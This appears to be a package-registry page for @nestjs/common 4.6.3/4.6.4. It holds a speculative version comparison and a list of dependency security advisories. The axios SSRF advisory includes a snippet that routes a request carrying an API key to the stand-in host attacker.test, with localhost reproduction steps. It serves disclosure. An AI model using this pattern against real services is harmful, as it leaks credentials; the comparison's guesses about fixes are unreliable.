NestJS is a progressive Node.js framework for building efficient, reliable and scalable server-side applications. Examining versions 4.6.3 and 4.6.4 of the @nestjs/common package reveals subtle but potentially impactful changes for developers. Both versions share identical dependencies, including axios for making HTTP requests, cli-color for terminal styling, class-validator for input validation, and class-transformer for object transformation. They also declare the same peer dependency, reflect-metadata, crucial for enabling decorators and metadata reflection, a cornerstone of NestJS's design. The license and author remain constant, ensuring continuity of development and licensing terms.
A key difference lies in the dist object. While both versions contain the same number of files (277), the unpacked size varies slightly: 144,160 bytes for 4.6.3 and 144,085 bytes for 4.6.4. This suggests minor code optimizations or adjustments in the later version, potentially leading to a slightly smaller overall application footprint. It's also important to note the release dates: version 4.6.4 was released on February 18, 2018, a couple of days after 4.6.3 which was released on February 16, 2018. This short interval between releases typically indicates that 4.6.4 likely addresses a bug fix or minor improvement identified shortly after the release of 4.6.3. Developers considering these versions should prioritize 4.6.4 due to its potential bug fixes and slight optimization. Ensure compatibility with your existing codebase, especially regarding metadata reflection, given the peer dependency on reflect-metadata.
All the vulnerabilities related to the version 4.6.4 of the package
nest allows a remote attacker to execute arbitrary code via the Content-Type header
File Upload vulnerability in nestjs nest prior to v.11.0.16 allows a remote attacker to execute arbitrary code via the Content-Type header.
Denial of Service in axios
Versions of axios
prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the maxContentLength
property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.
Upgrade to 0.18.1 or later.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.SQL Injection and Cross-site Scripting in class-validator
In TypeStack class-validator, validate()
input validation can be bypassed because certain internal attributes can be overwritten via a conflicting name. Even though there is an optional forbidUnknownValues
parameter that can be used to reduce the risk of this bypass, this option is not documented and thus most developers configure input validation in the vulnerable default manner. With this vulnerability, attackers can launch SQL Injection or XSS attacks by injecting arbitrary malicious input.
The default settings for forbidUnknownValues
has been changed to true
in 0.14.0.
NOTE: a software maintainer agrees with the "is not documented" finding but suggests that much of the responsibility for the risk lies in a different product.
Inefficient Regular Expression Complexity in validator.js
validator.js prior to 13.7.0 is vulnerable to Inefficient Regular Expression Complexity
Prototype pollution in class-transformer
class-transformer through 0.2.3 is vulnerable to Prototype Pollution. The 'classToPlainFromExist' function could be tricked into adding or modifying properties of 'Object.prototype' using a 'proto' payload.